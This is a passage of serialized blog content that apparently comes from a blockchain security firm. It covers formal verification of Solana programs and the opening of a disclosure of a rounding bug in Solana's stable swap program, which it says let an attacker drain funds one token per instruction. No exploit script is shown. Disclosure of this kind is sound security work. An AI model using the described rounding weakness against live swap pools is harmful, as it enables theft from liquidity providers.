bool\n",{"type":24,"tag":327,"props":9648,"children":9649},{"class":329,"line":557},[9650],{"type":24,"tag":327,"props":9651,"children":9652},{"style":346},[9653],{"type":29,"value":592},{"type":24,"tag":327,"props":9655,"children":9656},{"class":329,"line":586},[9657],{"type":24,"tag":327,"props":9658,"children":9659},{"emptyLinePlaceholder":16},[9660],{"type":29,"value":544},{"type":24,"tag":327,"props":9662,"children":9663},{"class":329,"line":1017},[9664,9669,9673],{"type":24,"tag":327,"props":9665,"children":9666},{"style":334},[9667],{"type":29,"value":9668},"impl",{"type":24,"tag":327,"props":9670,"children":9671},{"style":1639},[9672],{"type":29,"value":9621},{"type":24,"tag":327,"props":9674,"children":9675},{"style":346},[9676],{"type":29,"value":497},{"type":24,"tag":327,"props":9678,"children":9679},{"class":329,"line":1026},[9680,9684,9688,9693],{"type":24,"tag":327,"props":9681,"children":9682},{"style":334},[9683],{"type":29,"value":2212},{"type":24,"tag":327,"props":9685,"children":9686},{"style":334},[9687],{"type":29,"value":4653},{"type":24,"tag":327,"props":9689,"children":9690},{"style":340},[9691],{"type":29,"value":9692}," put_into_bad_state",{"type":24,"tag":327,"props":9694,"children":9695},{"style":346},[9696],{"type":29,"value":9697},"() {\n",{"type":24,"tag":327,"props":9699,"children":9700},{"class":329,"line":1048},[9701,9705,9709,9714,9718,9723],{"type":24,"tag":327,"props":9702,"children":9703},{"style":334},[9704],{"type":29,"value":8824},{"type":24,"tag":327,"props":9706,"children":9707},{"style":381},[9708],{"type":29,"value":66},{"type":24,"tag":327,"props":9710,"children":9711},{"style":346},[9712],{"type":29,"value":9713},"bad ",{"type":24,"tag":327,"props":9715,"children":9716},{"style":381},[9717],{"type":29,"value":384},{"type":24,"tag":327,"props":9719,"children":9720},{"style":334},[9721],{"type":29,"value":9722}," true",{"type":24,"tag":327,"props":9724,"children":9725},{"style":346},[9726],{"type":29,"value":405},{"type":24,"tag":327,"props":9728,"children":9729},{"class":329,"line":1067},[9730],{"type":24,"tag":327,"props":9731,"children":9732},{"style":346},[9733],{"type":29,"value":535},{"type":24,"tag":327,"props":9735,"children":9736},{"class":329,"line":1075},[9737],{"type":24,"tag":327,"props":9738,"children":9739},{"style":346},[9740],{"type":29,"value":592},{"type":24,"tag":327,"props":9742,"children":9743},{"class":329,"line":1084},[9744],{"type":24,"tag":327,"props":9745,"children":9746},{"emptyLinePlaceholder":16},[9747],{"type":29,"value":544},{"type":24,"tag":327,"props":9749,"children":9750},{"class":329,"line":1100},[9751],{"type":24,"tag":327,"props":9752,"children":9753},{"style":551},[9754],{"type":29,"value":9755},"// Instruction handler:\n",{"type":24,"tag":327,"props":9757,"children":9758},{"class":329,"line":1128},[9759,9763,9768,9772,9776,9780,9784,9788,9793,9797,9801,9805],{"type":24,"tag":327,"props":9760,"children":9761},{"style":334},[9762],{"type":29,"value":1617},{"type":24,"tag":327,"props":9764,"children":9765},{"style":340},[9766],{"type":29,"value":9767}," hard_to_verify",{"type":24,"tag":327,"props":9769,"children":9770},{"style":346},[9771],{"type":29,"value":349},{"type":24,"tag":327,"props":9773,"children":9774},{"style":356},[9775],{"type":29,"value":1631},{"type":24,"tag":327,"props":9777,"children":9778},{"style":381},[9779],{"type":29,"value":1636},{"type":24,"tag":327,"props":9781,"children":9782},{"style":1639},[9783],{"type":29,"value":1642},{"type":24,"tag":327,"props":9785,"children":9786},{"style":346},[9787],{"type":29,"value":1596},{"type":24,"tag":327,"props":9789,"children":9790},{"style":1639},[9791],{"type":29,"value":9792},"MyCtx",{"type":24,"tag":327,"props":9794,"children":9795},{"style":346},[9796],{"type":29,"value":1806},{"type":24,"tag":327,"props":9798,"children":9799},{"style":381},[9800],{"type":29,"value":1679},{"type":24,"tag":327,"props":9802,"children":9803},{"style":1639},[9804],{"type":29,"value":1684},{"type":24,"tag":327,"props":9806,"children":9807},{"style":346},[9808],{"type":29,"value":1689},{"type":24,"tag":327,"props":9810,"children":9811},{"class":329,"line":1148},[9812,9817,9821,9825,9830],{"type":24,"tag":327,"props":9813,"children":9814},{"style":340},[9815],{"type":29,"value":9816},"    invoke_signed",{"type":24,"tag":327,"props":9818,"children":9819},{"style":346},[9820],{"type":29,"value":349},{"type":24,"tag":327,"props":9822,"children":9823},{"style":381},[9824],{"type":29,"value":1922},{"type":24,"tag":327,"props":9826,"children":9827},{"style":346},[9828],{"type":29,"value":9829},"); ",{"type":24,"tag":327,"props":9831,"children":9832},{"style":551},[9833],{"type":29,"value":9834},"// Cross-program invocation\n",{"type":24,"tag":327,"props":9836,"children":9837},{"class":329,"line":1176},[9838],{"type":24,"tag":327,"props":9839,"children":9840},{"emptyLinePlaceholder":16},[9841],{"type":29,"value":544},{"type":24,"tag":327,"props":9843,"children":9844},{"class":329,"line":1184},[9845,9849,9854,9858,9862,9867],{"type":24,"tag":327,"props":9846,"children":9847},{"style":334},[9848],{"type":29,"value":4794},{"type":24,"tag":327,"props":9850,"children":9851},{"style":356},[9852],{"type":29,"value":9853}," invoke_res",{"type":24,"tag":327,"props":9855,"children":9856},{"style":381},[9857],{"type":29,"value":4809},{"type":24,"tag":327,"props":9859,"children":9860},{"style":381},[9861],{"type":29,"value":6755},{"type":24,"tag":327,"props":9863,"children":9864},{"style":346},[9865],{"type":29,"value":9866},"; ",{"type":24,"tag":327,"props":9868,"children":9869},{"style":551},[9870],{"type":29,"value":9871},"// fetch result of invocation\n",{"type":24,"tag":327,"props":9873,"children":9874},{"class":329,"line":1192},[9875,9879,9883,9888,9893],{"type":24,"tag":327,"props":9876,"children":9877},{"style":425},[9878],{"type":29,"value":428},{"type":24,"tag":327,"props":9880,"children":9881},{"style":356},[9882],{"type":29,"value":9853},{"type":24,"tag":327,"props":9884,"children":9885},{"style":381},[9886],{"type":29,"value":9887}," ==",{"type":24,"tag":327,"props":9889,"children":9890},{"style":397},[9891],{"type":29,"value":9892}," 5",{"type":24,"tag":327,"props":9894,"children":9895},{"style":346},[9896],{"type":29,"value":497},{"type":24,"tag":327,"props":9898,"children":9899},{"class":329,"line":1212},[9900,9904,9908,9913,9917,9922,9927],{"type":24,"tag":327,"props":9901,"children":9902},{"style":356},[9903],{"type":29,"value":7649},{"type":24,"tag":327,"props":9905,"children":9906},{"style":381},[9907],{"type":29,"value":66},{"type":24,"tag":327,"props":9909,"children":9910},{"style":346},[9911],{"type":29,"value":9912},"my_account",{"type":24,"tag":327,"props":9914,"children":9915},{"style":381},[9916],{"type":29,"value":66},{"type":24,"tag":327,"props":9918,"children":9919},{"style":340},[9920],{"type":29,"value":9921},"put_into_bad_state",{"type":24,"tag":327,"props":9923,"children":9924},{"style":346},[9925],{"type":29,"value":9926},"(); ",{"type":24,"tag":327,"props":9928,"children":9929},{"style":551},[9930],{"type":29,"value":9931},"// corrupt our account\n",{"type":24,"tag":327,"props":9933,"children":9934},{"class":329,"line":4841},[9935],{"type":24,"tag":327,"props":9936,"children":9937},{"style":346},[9938],{"type":29,"value":535},{"type":24,"tag":327,"props":9940,"children":9941},{"class":329,"line":4862},[9942,9946],{"type":24,"tag":327,"props":9943,"children":9944},{"style":1639},[9945],{"type":29,"value":9004},{"type":24,"tag":327,"props":9947,"children":9948},{"style":346},[9949],{"type":29,"value":9009},{"type":24,"tag":327,"props":9951,"children":9952},{"class":329,"line":4870},[9953],{"type":24,"tag":327,"props":9954,"children":9955},{"style":346},[9956],{"type":29,"value":592},{"type":24,"tag":25,"props":9958,"children":9959},{},[9960,9962,9967],{"type":29,"value":9961},"The integrity of the verification framework relies on the fact that the account invariants for the accounts contained in the instruction (in this case ",{"type":24,"tag":284,"props":9963,"children":9965},{"className":9964},[],[9966],{"type":29,"value":9912},{"type":29,"value":9968},") will be maintained as long as the instruction succeeds.",{"type":24,"tag":25,"props":9970,"children":9971},{},[9972],{"type":29,"value":9973},"In this case, we can't really verify if the instruction succeeds or not (at least without knowing which program/instruction will be invoked).",{"type":24,"tag":25,"props":9975,"children":9976},{},[9977,9979,9984],{"type":29,"value":9978},"However, we can ",{"type":24,"tag":42,"props":9980,"children":9981},{},[9982],{"type":29,"value":9983},"augment",{"type":29,"value":9985}," our code with additional runtime constraints to ensure that the safety properties are preserved even if formal verification fails.",{"type":24,"tag":25,"props":9987,"children":9988},{},[9989],{"type":29,"value":9990},"In this case, we can add runtime assertions that ensure our runtime invariants hold. For example:",{"type":24,"tag":317,"props":9992,"children":9994},{"code":9993,"language":1552,"meta":7,"className":1553,"style":7},"...\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n\n    // Enforce invariants at runtime\n    assert(ctx.my_account.invariant());\n\n    Ok(())\n}\n",[9995],{"type":24,"tag":284,"props":9996,"children":9997},{"__ignoreMap":7},[9998,10006,10057,10080,10087,10114,10137,10168,10175,10182,10190,10226,10233,10244],{"type":24,"tag":327,"props":9999,"children":10000},{"class":329,"line":330},[10001],{"type":24,"tag":327,"props":10002,"children":10003},{"style":381},[10004],{"type":29,"value":10005},"...\n",{"type":24,"tag":327,"props":10007,"children":10008},{"class":329,"line":367},[10009,10013,10017,10021,10025,10029,10033,10037,10041,10045,10049,10053],{"type":24,"tag":327,"props":10010,"children":10011},{"style":334},[10012],{"type":29,"value":1617},{"type":24,"tag":327,"props":10014,"children":10015},{"style":340},[10016],{"type":29,"value":9767},{"type":24,"tag":327,"props":10018,"children":10019},{"style":346},[10020],{"type":29,"value":349},{"type":24,"tag":327,"props":10022,"children":10023},{"style":356},[10024],{"type":29,"value":1631},{"type":24,"tag":327,"props":10026,"children":10027},{"style":381},[10028],{"type":29,"value":1636},{"type":24,"tag":327,"props":10030,"children":10031},{"style":1639},[10032],{"type":29,"value":1642},{"type":24,"tag":327,"props":10034,"children":10035},{"style":346},[10036],{"type":29,"value":1596},{"type":24,"tag":327,"props":10038,"children":10039},{"style":1639},[10040],{"type":29,"value":9792},{"type":24,"tag":327,"props":10042,"children":10043},{"style":346},[10044],{"type":29,"value":1806},{"type":24,"tag":327,"props":10046,"children":10047},{"style":381},[10048],{"type":29,"value":1679},{"type":24,"tag":327,"props":10050,"children":10051},{"style":1639},[10052],{"type":29,"value":1684},{"type":24,"tag":327,"props":10054,"children":10055},{"style":346},[10056],{"type":29,"value":1689},{"type":24,"tag":327,"props":10058,"children":10059},{"class":329,"line":408},[10060,10064,10068,10072,10076],{"type":24,"tag":327,"props":10061,"children":10062},{"style":340},[10063],{"type":29,"value":9816},{"type":24,"tag":327,"props":10065,"children":10066},{"style":346},[10067],{"type":29,"value":349},{"type":24,"tag":327,"props":10069,"children":10070},{"style":381},[10071],{"type":29,"value":1922},{"type":24,"tag":327,"props":10073,"children":10074},{"style":346},[10075],{"type":29,"value":9829},{"type":24,"tag":327,"props":10077,"children":10078},{"style":551},[10079],{"type":29,"value":9834},{"type":24,"tag":327,"props":10081,"children":10082},{"class":329,"line":421},[10083],{"type":24,"tag":327,"props":10084,"children":10085},{"emptyLinePlaceholder":16},[10086],{"type":29,"value":544},{"type":24,"tag":327,"props":10088,"children":10089},{"class":329,"line":450},[10090,10094,10098,10102,10106,10110],{"type":24,"tag":327,"props":10091,"children":10092},{"style":334},[10093],{"type":29,"value":4794},{"type":24,"tag":327,"props":10095,"children":10096},{"style":356},[10097],{"type":29,"value":9853},{"type":24,"tag":327,"props":10099,"children":10100},{"style":381},[10101],{"type":29,"value":4809},{"type":24,"tag":327,"props":10103,"children":10104},{"style":381},[10105],{"type":29,"value":6755},{"type":24,"tag":327,"props":10107,"children":10108},{"style":346},[10109],{"type":29,"value":9866},{"type":24,"tag":327,"props":10111,"children":10112},{"style":551},[10113],{"type":29,"value":9871},{"type":24,"tag":327,"props":10115,"children":10116},{"class":329,"line":481},[10117,10121,10125,10129,10133],{"type":24,"tag":327,"props":10118,"children":10119},{"style":425},[10120],{"type":29,"value":428},{"type":24,"tag":327,"props":10122,"children":10123},{"style":356},[10124],{"type":29,"value":9853},{"type":24,"tag":327,"props":10126,"children":10127},{"style":381},[10128],{"type":29,"value":9887},{"type":24,"tag":327,"props":10130,"children":10131},{"style":397},[10132],{"type":29,"value":9892},{"type":24,"tag":327,"props":10134,"children":10135},{"style":346},[10136],{"type":29,"value":497},{"type":24,"tag":327,"props":10138,"children":10139},{"class":329,"line":500},[10140,10144,10148,10152,10156,10160,10164],{"type":24,"tag":327,"props":10141,"children":10142},{"style":356},[10143],{"type":29,"value":7649},{"type":24,"tag":327,"props":10145,"children":10146},{"style":381},[10147],{"type":29,"value":66},{"type":24,"tag":327,"props":10149,"children":10150},{"style":346},[10151],{"type":29,"value":9912},{"type":24,"tag":327,"props":10153,"children":10154},{"style":381},[10155],{"type":29,"value":66},{"type":24,"tag":327,"props":10157,"children":10158},{"style":340},[10159],{"type":29,"value":9921},{"type":24,"tag":327,"props":10161,"children":10162},{"style":346},[10163],{"type":29,"value":9926},{"type":24,"tag":327,"props":10165,"children":10166},{"style":551},[10167],{"type":29,"value":9931},{"type":24,"tag":327,"props":10169,"children":10170},{"class":329,"line":529},[10171],{"type":24,"tag":327,"props":10172,"children":10173},{"style":346},[10174],{"type":29,"value":535},{"type":24,"tag":327,"props":10176,"children":10177},{"class":329,"line":538},[10178],{"type":24,"tag":327,"props":10179,"children":10180},{"emptyLinePlaceholder":16},[10181],{"type":29,"value":544},{"type":24,"tag":327,"props":10183,"children":10184},{"class":329,"line":547},[10185],{"type":24,"tag":327,"props":10186,"children":10187},{"style":551},[10188],{"type":29,"value":10189},"    // Enforce invariants at runtime\n",{"type":24,"tag":327,"props":10191,"children":10192},{"class":329,"line":557},[10193,10197,10201,10205,10209,10213,10217,10221],{"type":24,"tag":327,"props":10194,"children":10195},{"style":340},[10196],{"type":29,"value":563},{"type":24,"tag":327,"props":10198,"children":10199},{"style":346},[10200],{"type":29,"value":349},{"type":24,"tag":327,"props":10202,"children":10203},{"style":356},[10204],{"type":29,"value":1631},{"type":24,"tag":327,"props":10206,"children":10207},{"style":381},[10208],{"type":29,"value":66},{"type":24,"tag":327,"props":10210,"children":10211},{"style":346},[10212],{"type":29,"value":9912},{"type":24,"tag":327,"props":10214,"children":10215},{"style":381},[10216],{"type":29,"value":66},{"type":24,"tag":327,"props":10218,"children":10219},{"style":340},[10220],{"type":29,"value":3184},{"type":24,"tag":327,"props":10222,"children":10223},{"style":346},[10224],{"type":29,"value":10225},"());\n",{"type":24,"tag":327,"props":10227,"children":10228},{"class":329,"line":586},[10229],{"type":24,"tag":327,"props":10230,"children":10231},{"emptyLinePlaceholder":16},[10232],{"type":29,"value":544},{"type":24,"tag":327,"props":10234,"children":10235},{"class":329,"line":1017},[10236,10240],{"type":24,"tag":327,"props":10237,"children":10238},{"style":1639},[10239],{"type":29,"value":9004},{"type":24,"tag":327,"props":10241,"children":10242},{"style":346},[10243],{"type":29,"value":9009},{"type":24,"tag":327,"props":10245,"children":10246},{"class":329,"line":1026},[10247],{"type":24,"tag":327,"props":10248,"children":10249},{"style":346},[10250],{"type":29,"value":592},{"type":24,"tag":25,"props":10252,"children":10253},{},[10254,10256,10261,10263,10268,10270,10275],{"type":29,"value":10255},"Here, we explicitly ",{"type":24,"tag":284,"props":10257,"children":10259},{"className":10258},[],[10260],{"type":29,"value":1329},{"type":29,"value":10262}," that our invariants hold at ",{"type":24,"tag":42,"props":10264,"children":10265},{},[10266],{"type":29,"value":10267},"runtime",{"type":29,"value":10269}," which allows us to be assured that ",{"type":24,"tag":284,"props":10271,"children":10273},{"className":10272},[],[10274],{"type":29,"value":9912},{"type":29,"value":10276}," will not enter a bad state as a result of some unverifiable behavior.",{"type":24,"tag":25,"props":10278,"children":10279},{},[10280],{"type":29,"value":10281},"In general techniques like this can be used to tidy up the loose ends that formal verification may struggle with.",{"type":24,"tag":228,"props":10283,"children":10285},{"id":10284},"challenges-of-formal-verification-on-solana",[10286],{"type":29,"value":10287},"Challenges of formal verification on Solana",{"type":24,"tag":235,"props":10289,"children":10291},{"id":10290},"expensive-computation",[10292],{"type":29,"value":10293},"Expensive computation",{"type":24,"tag":25,"props":10295,"children":10296},{},[10297,10299,10304],{"type":29,"value":10298},"As we started exploring this project, we were hoping to see it work straight out of the box. Unfortunately, that was not the case. Harkening back to our friend ",{"type":24,"tag":42,"props":10300,"children":10301},{},[10302],{"type":29,"value":10303},"path explosion",{"type":29,"value":10305},", it is often the case that bounded model checking just grinds and grinds on the problem and is not able to produce a solution.",{"type":24,"tag":25,"props":10307,"children":10308},{},[10309,10311,10316],{"type":29,"value":10310},"In order to make this technique more widely applicable, we've been developing a runtime SDK layer that is more ",{"type":24,"tag":42,"props":10312,"children":10313},{},[10314],{"type":29,"value":10315},"formal verification friendly",{"type":29,"value":10317},". Specifically our tool will replace certain built-in SDK functions and structures with less expensive ones in the context of symbolic execution.",{"type":24,"tag":25,"props":10319,"children":10320},{},[10321,10323,10328,10330,10335],{"type":29,"value":10322},"For example, when verifying things like the uniqueness of a ",{"type":24,"tag":284,"props":10324,"children":10326},{"className":10325},[],[10327],{"type":29,"value":2779},{"type":29,"value":10329}," in a ",{"type":24,"tag":284,"props":10331,"children":10333},{"className":10332},[],[10334],{"type":29,"value":5539},{"type":29,"value":10336},", the native program may generate extremely large SMT expressions containing nested 32-byte comparisons and binary searches on a vector.",{"type":24,"tag":25,"props":10338,"children":10339},{},[10340,10342,10347,10349,10354,10356,10361,10363,10368,10370,10375,10377,10382],{"type":29,"value":10341},"However, in most cases the properties we are interested in do not require specific search algorithms for the ",{"type":24,"tag":284,"props":10343,"children":10345},{"className":10344},[],[10346],{"type":29,"value":5539},{"type":29,"value":10348}," or a 32-byte ",{"type":24,"tag":284,"props":10350,"children":10352},{"className":10351},[],[10353],{"type":29,"value":2779},{"type":29,"value":10355},". Instead, our tool can substitute in ",{"type":24,"tag":42,"props":10357,"children":10358},{},[10359],{"type":29,"value":10360},"cheaper",{"type":29,"value":10362}," types and functions, such as a 4-byte ",{"type":24,"tag":284,"props":10364,"children":10366},{"className":10365},[],[10367],{"type":29,"value":2779},{"type":29,"value":10369}," struct and a fixed-size, array-backed ",{"type":24,"tag":284,"props":10371,"children":10373},{"className":10372},[],[10374],{"type":29,"value":5539},{"type":29,"value":10376}," implementation. These structures are API-compatible with the native SDK and the changes are functionally invisible to the Solana program we are verifying. However, the generated expressions are ",{"type":24,"tag":42,"props":10378,"children":10379},{},[10380],{"type":29,"value":10381},"much",{"type":29,"value":10383}," simpler and we find that these techniques can greatly accelerate the speed of model-checking.",{"type":24,"tag":25,"props":10385,"children":10386},{},[10387],{"type":29,"value":10388},"It is of key importance that these SDK modifications do not introduce any unsoundness into the model-checking process. We are actively exploring how to do this effectively.",{"type":24,"tag":235,"props":10390,"children":10392},{"id":10391},"runtime-environment",[10393],{"type":29,"value":10394},"Runtime Environment",{"type":24,"tag":25,"props":10396,"children":10397},{},[10398],{"type":29,"value":10399},"While these techniques are quite capable of verifying pure-Rust constructs such as the logical flow of the program, use of Rust types, etc... other aspects of the Solana runtime environment are more difficult to verify.",{"type":24,"tag":25,"props":10401,"children":10402},{},[10403],{"type":29,"value":10404},"For example, a program may resize accounts to store variable amounts of data. These types of custom serialization algorithms require specialized techniques to verify account invariants. For example, a bug with account serialization could undermine \"correct\" account logic.",{"type":24,"tag":25,"props":10406,"children":10407},{},[10408],{"type":29,"value":10409},"Another example is cross-program invocation (CPI). While account data cannot be changed by other programs, when you invoke other instructions it becomes more difficult to verify instruction invariants. An instruction three levels down could fail and cause the whole transaction to revert.",{"type":24,"tag":228,"props":10411,"children":10413},{"id":10412},"conclusion",[10414],{"type":29,"value":226},{"type":24,"tag":25,"props":10416,"children":10417},{},[10418],{"type":29,"value":10419},"Computer security is far from being a solved problem. Formal verification is a great technique but it is not a magic bullet. While it can help you verify the correctness of your program it won't catch 100% of the bugs. It won't stop you from specifying the wrong invariants or forgetting things, and it can't help you if there is a bug outside of the scope of the model — for example in the runtime or consensus layer.",{"type":24,"tag":25,"props":10421,"children":10422},{},[10423],{"type":29,"value":10424},"Disclaimer out of the way, we believe that formal verification can still be a very useful tool when applied correctly. We've demonstrated that it is possible to automatically prove invariants about Solana programs in a tractable and user-friendly way.",{"type":24,"tag":68,"props":10426,"children":10427},{},[],{"type":24,"tag":25,"props":10429,"children":10430},{},[10431],{"type":24,"tag":42,"props":10432,"children":10433},{},[10434,10436,10441,10442,10446],{"type":29,"value":10435},"We're excited to keep pushing this research forward and enhance the security of the whole Solana ecosystem. Our tools are still in development but we're interested in working with other teams. If you have a Solana program you want to get formally verified, give us a shout! Fill out ",{"type":24,"tag":57,"props":10437,"children":10439},{"href":151,"rel":10438},[61],[10440],{"type":29,"value":155},{"type":29,"value":157},{"type":24,"tag":57,"props":10443,"children":10444},{"href":160},[10445],{"type":29,"value":163},{"type":29,"value":66},{"type":24,"tag":10448,"props":10449,"children":10450},"style",{},[10451],{"type":29,"value":10452},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":367,"depth":367,"links":10454},[10455,10461,10465,10470,10476,10480],{"id":230,"depth":367,"text":233,"children":10456},[10457,10458,10459,10460],{"id":237,"depth":408,"text":240},{"id":307,"depth":408,"text":310},{"id":1248,"depth":408,"text":1251},{"id":1288,"depth":408,"text":1291},{"id":1342,"depth":367,"text":10462,"children":10463},"Specification: How can we describe what we want our program to do?",[10464],{"id":1457,"depth":408,"text":1460},{"id":2851,"depth":367,"text":2854,"children":10466},[10467,10468,10469],{"id":3555,"depth":408,"text":3558},{"id":3843,"depth":408,"text":3846},{"id":3987,"depth":408,"text":3990},{"id":4128,"depth":367,"text":4131,"children":10471},[10472,10473,10474,10475],{"id":4199,"depth":408,"text":4202},{"id":6091,"depth":408,"text":6094},{"id":6897,"depth":408,"text":4191},{"id":9438,"depth":408,"text":4196},{"id":10284,"depth":367,"text":10287,"children":10477},[10478,10479],{"id":10290,"depth":408,"text":10293},{"id":10391,"depth":408,"text":10394},{"id":10412,"depth":367,"text":226},"markdown","content:blog:2023-01-26-formally-verifying-solana-programs.md","content","blog/2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs","md",[10488,12947,13284,16812,21158,26256,35710,37142,37905,42134,47161,52593,53750,57241,67636,74365,76204,77914,82579,96478,99199,103988,106428,108773,114559,130379,138679,148603,153881,163274,165611],{"_path":10489,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":10490,"description":10491,"image":10492,"date":10496,"isFeatured":16,"tags":10497,"onBlogPage":16,"body":10498,"_type":10481,"_id":12944,"_source":10483,"_file":12945,"_stem":12946,"_extension":10486},"/blog/2022-04-26-spl-swap-rounding","Becoming a Millionaire, 0.000150 BTC at a Time","How we discovered a critical issue in Solana's stable swap implementation. A story about arbitrage and rounding.",{"src":10493,"width":10494,"height":10495},"/posts/spl-swap/title.jpg",600,368,"2022-04-26",[18,19],{"type":21,"children":10499,"toc":12938},[10500,10514,10519,10524,10532,10538,10543,10548,10556,10564,10569,10574,10582,10587,10592,10957,10967,10972,11494,11499,11507,11515,11521,11526,11531,11536,11543,11555,11560,11572,11785,11790,11795,11801,11806,11811,11857,11862,11870,11875,11880,11885,12029,12042,12154,12168,12176,12190,12198,12211,12216,12228,12236,12258,12876,12882,12887,12899,12912,12919,12924,12929,12934],{"type":24,"tag":25,"props":10501,"children":10502},{},[10503,10505,10512],{"type":29,"value":10504},"We discovered a critical rounding issue in the Solana Program Library's implementation of stable swap, ",{"type":24,"tag":57,"props":10506,"children":10509},{"href":10507,"rel":10508},"https://github.com/solana-labs/solana-program-library/tree/master/token-swap/program",[61],[10510],{"type":29,"value":10511},"spl-token-swap",{"type":29,"value":10513},". Similar to Neodyme's spl-token-lending exploit, we were able to extract a single token per instruction. This exceeds the value of the 5000 lamport transaction fee on BTC stable swaps, allowing an attacker to profitably drain funds.",{"type":24,"tag":25,"props":10515,"children":10516},{},[10517],{"type":29,"value":10518},"Such BTC stable swaps had over 74 million in combined value. The total value of stable swaps impacted exceed 700 million.",{"type":24,"tag":25,"props":10520,"children":10521},{},[10522],{"type":29,"value":10523},"We would also like to thank the Saber team for their fast triage and remediation.",{"type":24,"tag":25,"props":10525,"children":10526},{},[10527],{"type":24,"tag":42,"props":10528,"children":10529},{},[10530],{"type":29,"value":10531},"Rounding bugs are an increasingly common vulnerability class, enabled by low transaction costs",{"type":24,"tag":228,"props":10533,"children":10535},{"id":10534},"discovery",[10536],{"type":29,"value":10537},"Discovery",{"type":24,"tag":25,"props":10539,"children":10540},{},[10541],{"type":29,"value":10542},"Parth, one of our researchers, was implementing a graph search for our arbitrage bot to calculate the price of any token relative to SOL.",{"type":24,"tag":25,"props":10544,"children":10545},{},[10546],{"type":29,"value":10547},"After a while, he noticed something weird..",{"type":24,"tag":1706,"props":10549,"children":10550},{},[10551],{"type":24,"tag":25,"props":10552,"children":10553},{},[10554],{"type":29,"value":10555},"so either my graph search is wrong\nor its possible to get a ton of money out of nothing",{"type":24,"tag":317,"props":10557,"children":10559},{"code":10558},"KwnjUuZ :              0 9vMJfxu ->              1 EPjFWdd\nKwnjUuZ :              1 EPjFWdd ->              2 9vMJfxu\nKwnjUuZ :              2 9vMJfxu ->              3 EPjFWdd\nHU1tejU :              3 EPjFWdd ->            625 PRT88Rk\n24ZbKS3 :            625 PRT88Rk ->              7 EPjFWdd\n3oRPcFa :              7 EPjFWdd ->              6 BQcdHdA\n",[10560],{"type":24,"tag":284,"props":10561,"children":10562},{"__ignoreMap":7},[10563],{"type":29,"value":10558},{"type":24,"tag":25,"props":10565,"children":10566},{},[10567],{"type":29,"value":10568},"Somehow, we were getting tokens from nothing?",{"type":24,"tag":25,"props":10570,"children":10571},{},[10572],{"type":29,"value":10573},"After taking a look at the pairs on which this was occuring, we quickly realized that only stable swap pairs were impacted.",{"type":24,"tag":317,"props":10575,"children":10577},{"code":10576},"KwnjUuZhTMTSGAaavkLEmSyfobY16JNH4poL9oeeEvE\nHU1tejUtt7AZYrC9SAuqCW9MpuSqsdoedHSb1XUKjUPN\n24ZbKS36rkPv14Tdx8qv4NRyqatTaJ5KgJrT1LxBKn5d\n3oRPcFaRHvv9pPR6nRasigVDkm3k9kTjdfjxUpgLV5Pq\n",[10578],{"type":24,"tag":284,"props":10579,"children":10580},{"__ignoreMap":7},[10581],{"type":29,"value":10576},{"type":24,"tag":25,"props":10583,"children":10584},{},[10585],{"type":29,"value":10586},"This seemed suspicious. Perhaps it had something to do with the stable swap math?",{"type":24,"tag":25,"props":10588,"children":10589},{},[10590],{"type":29,"value":10591},"It was also weird how we could only ever get at most one extra token. As usual, the best way to answer such questions is to read the code. We dived into the stable swap Solana implementation to look for a possible root cause.",{"type":24,"tag":317,"props":10593,"children":10595},{"code":10594,"language":1552,"meta":7,"className":1553,"style":7},"    // Solve for y by approximating: y**2 + b*y = c\n    let mut y = d_val;\n    for _ in 0..ITERATIONS {\n        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n        if y_new == y {\n            break;\n        } else {\n            y = y_new;\n        }\n    }\n",[10596],{"type":24,"tag":284,"props":10597,"children":10598},{"__ignoreMap":7},[10599,10607,10636,10668,10766,10871,10895,10907,10923,10943,10950],{"type":24,"tag":327,"props":10600,"children":10601},{"class":329,"line":330},[10602],{"type":24,"tag":327,"props":10603,"children":10604},{"style":551},[10605],{"type":29,"value":10606},"    // Solve for y by approximating: y**2 + b*y = c\n",{"type":24,"tag":327,"props":10608,"children":10609},{"class":329,"line":367},[10610,10614,10618,10623,10627,10632],{"type":24,"tag":327,"props":10611,"children":10612},{"style":334},[10613],{"type":29,"value":4794},{"type":24,"tag":327,"props":10615,"children":10616},{"style":334},[10617],{"type":29,"value":4799},{"type":24,"tag":327,"props":10619,"children":10620},{"style":356},[10621],{"type":29,"value":10622}," y",{"type":24,"tag":327,"props":10624,"children":10625},{"style":381},[10626],{"type":29,"value":4809},{"type":24,"tag":327,"props":10628,"children":10629},{"style":356},[10630],{"type":29,"value":10631}," d_val",{"type":24,"tag":327,"props":10633,"children":10634},{"style":346},[10635],{"type":29,"value":405},{"type":24,"tag":327,"props":10637,"children":10638},{"class":329,"line":408},[10639,10644,10649,10654,10658,10663],{"type":24,"tag":327,"props":10640,"children":10641},{"style":425},[10642],{"type":29,"value":10643},"    for",{"type":24,"tag":327,"props":10645,"children":10646},{"style":356},[10647],{"type":29,"value":10648}," _",{"type":24,"tag":327,"props":10650,"children":10651},{"style":334},[10652],{"type":29,"value":10653}," in",{"type":24,"tag":327,"props":10655,"children":10656},{"style":397},[10657],{"type":29,"value":6695},{"type":24,"tag":327,"props":10659,"children":10660},{"style":381},[10661],{"type":29,"value":10662},"..",{"type":24,"tag":327,"props":10664,"children":10665},{"style":346},[10666],{"type":29,"value":10667},"ITERATIONS 